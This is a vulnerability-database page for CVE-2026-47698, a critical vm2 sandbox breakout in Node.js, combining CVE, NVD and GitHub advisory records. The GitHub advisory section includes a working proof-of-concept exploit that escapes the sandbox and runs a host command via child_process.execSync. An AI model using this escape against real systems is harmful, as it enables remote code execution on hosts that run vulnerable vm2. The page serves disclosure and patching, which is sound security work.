Vulnerability-Lookup

CVE-2026-47698 (GCVE-0-2026-47698)

Vulnerability from cvelistv5 – Published: 2026-08-17 20:53 – Updated: 2026-08-17 20:53

Title

vm2: Sandbox Breakout Using Dangerous Host Proto Mutators

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-913 - Improper Control of Dynamically-Managed Code Resources

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
https://github.com/patriksimek/vm2/commit/a85acb6…	x_refsource_MISC
https://github.com/patriksimek/vm2/releases/tag/3.11.6	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
patriksimek	vm2	Affected: < 3.11.6	guessed

Show details on NVD website

JSON

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic\u0027s prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-913",
              "description": "CWE-913: Improper Control of Dynamically-Managed Code Resources",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-17T20:53:09.218Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"
        },
        {
          "name": "https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e"
        },
        {
          "name": "https://github.com/patriksimek/vm2/releases/tag/3.11.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
        }
      ],
      "source": {
        "advisory": "GHSA-cfcw-xp6x-25gj",
        "discovery": "UNKNOWN"
      },
      "title": "vm2: Sandbox Breakout Using Dangerous Host Proto Mutators"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-47698",
    "datePublished": "2026-08-17T20:53:09.218Z",
    "dateReserved": "2026-05-19T21:18:20.404Z",
    "dateUpdated": "2026-08-17T20:53:09.218Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-47698",
      "date": "2026-08-18",
      "epss": "0.00492",
      "percentile": "0.40086"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-47698\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-17T21:16:45.640\",\"lastModified\":\"2026-08-17T21:16:45.640\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic\u0027s prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"patriksimek\",\"product\":\"vm2\",\"versions\":[{\"version\":\"\u003c 3.11.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-913\"}]}],\"references\":[{\"url\":\"https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/patriksimek/vm2/releases/tag/3.11.6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

FKIE_CVE-2026-47698

Vulnerability from fkie_nvd - Published: 2026-08-17 21:16 - Updated: 2026-08-17 21:16

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e
	security-advisories@github.com	https://github.com/patriksimek/vm2/releases/tag/3.11.6
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic\u0027s prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6."
    }
  ],
  "id": "CVE-2026-47698",
  "lastModified": "2026-08-17T21:16:45.640",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-17T21:16:45.640",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-913"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-CFCW-XP6X-25GJ

Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32

Summary

vm2: Sandbox Breakout Using Dangerous Host Proto Mutators

Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");

async function f() {
  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
  }

  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
  }
}

f();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:32:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.",
  "id": "GHSA-cfcw-xp6x-25gj",
  "modified": "2026-08-17T17:32:42Z",
  "published": "2026-08-17T17:32:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: Sandbox Breakout Using Dangerous Host Proto Mutators"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-47698 (GCVE-0-2026-47698)

FKIE_CVE-2026-47698

GHSA-CFCW-XP6X-25GJ

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature